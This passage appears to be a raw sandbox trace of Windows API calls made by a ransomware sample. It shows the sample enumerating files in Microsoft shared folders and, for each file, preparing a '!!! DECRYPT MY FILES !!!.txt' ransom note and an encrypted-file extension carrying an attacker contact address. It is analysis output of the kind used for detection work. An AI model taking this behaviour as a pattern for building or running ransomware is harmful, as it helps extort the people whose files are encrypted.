28 [0115.228] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.228] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.228] GetProcessHeap () returned 0x630000 [0115.228] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4ec0, Size=0x38) returned 0x6d51c0 [0115.228] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1 [0115.228] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\orangecircles.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", len=0x45 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0115.228] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm") returned 0x45 [0115.228] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.229] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.229] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.229] GetProcessHeap () returned 0x630000 [0115.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x3c) returned 0x6fef698 [0115.229] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1 [0115.229] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", len=0x45 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg") returned 1 [0115.229] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", cchLength=0x45 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg") returned 0x45 [0115.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.229] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.229] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.229] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.230] GetProcessHeap () returned 0x630000 [0115.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef698, Size=0x40) returned 0x6fef338 [0115.230] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1 [0115.230] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm") returned 1 [0115.230] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm") returned 0x43 [0115.230] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.230] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.232] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.232] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.232] GetProcessHeap () returned 0x630000 [0115.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef338, Size=0x44) returned 0x64a3b8 [0115.233] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96dccc65, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96dccc65, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96dccc65, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1 [0115.233] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg") returned 1 [0115.233] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg") returned 0x43 [0115.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.233] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.233] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.233] GetProcessHeap () returned 0x630000 [0115.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a3b8, Size=0x48) returned 0x649f58 [0115.233] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96da6a05, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96da6a05, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96da6a05, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shades of Blue.htm", cAlternateFileName="")) returned 1 [0115.233] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\roses.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm", len=0x4c | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm") returned 1 [0115.233] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm") returned 0x4c [0115.233] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.234] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.234] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.234] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.234] GetProcessHeap () returned 0x630000 [0115.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x4c) returned 0x6eec88 [0115.234] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShadesOfBlue.jpg", cAlternateFileName="")) returned 1 [0115.234] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", len=0x4a | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg") returned 1 [0115.234] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", cchLength=0x4a | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg") returned 0x4a [0115.234] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.234] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.234] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.234] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.235] GetProcessHeap () returned 0x630000 [0115.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eec88, Size=0x50) returned 0x6ee970 [0115.235] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Soft Blue.htm", cAlternateFileName="")) returned 1 [0115.235] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\shadesofblue.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm", len=0x47 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm") returned 1 [0115.235] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm", cchLength=0x47 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm") returned 0x47 [0115.235] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.235] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.235] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.235] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.235] GetProcessHeap () returned 0x630000 [0115.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ee970, Size=0x54) returned 0x68e238 [0115.235] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0x0, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1 [0115.235] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", len=0x46 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg") returned 1 [0115.236] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", cchLength=0x46 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg") returned 0x46 [0115.236] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.236] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.236] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.236] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.236] GetProcessHeap () returned 0x630000 [0115.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e238, Size=0x58) returned 0x68ddb8 [0115.236] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.htm", cAlternateFileName="")) returned 1 [0115.236] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm") returned 1 [0115.236] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.htm", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm") returned 0x43 [0115.236] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.236] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.236] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.236] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.237] GetProcessHeap () returned 0x630000 [0115.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68ddb8, Size=0x5c) returned 0x6e7800 [0115.237] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d8079e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d8079e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d8079e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0115.237] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\common files\\microsoft shared\\stationery\\stars.htm", psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", len=0x43 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg") returned 1 [0115.237] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", cchLength=0x43 | out: lpsz="c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg") returned 0x43 [0115.237] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0115.237] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0115.237] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0115.237] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0115.237] GetProcessHeap () returned 0x630000 [0115.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e7800, Size=0x60) returned 0x6e81c0 [0115.237] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0115.237] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0115.238] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1 [0115.238] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\", len=0x38 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\") returned 1 [0115.238] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\", cchLength=0x38 | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\") returned 0x38 [0115.238] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.238] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4ec0 [0115.238] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.239] FindNextFileW (in: hFindFile=0x6d4ec0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0115.239] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\", len=0x3e | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\") returned 1 [0115.239] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\") returned 0x3e [0115.239] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0115.239] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0115.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\TextConv\\en-US\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d4f00 [0115.239] FindNextFileW (in: hFindFile=0x6d4f00, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, 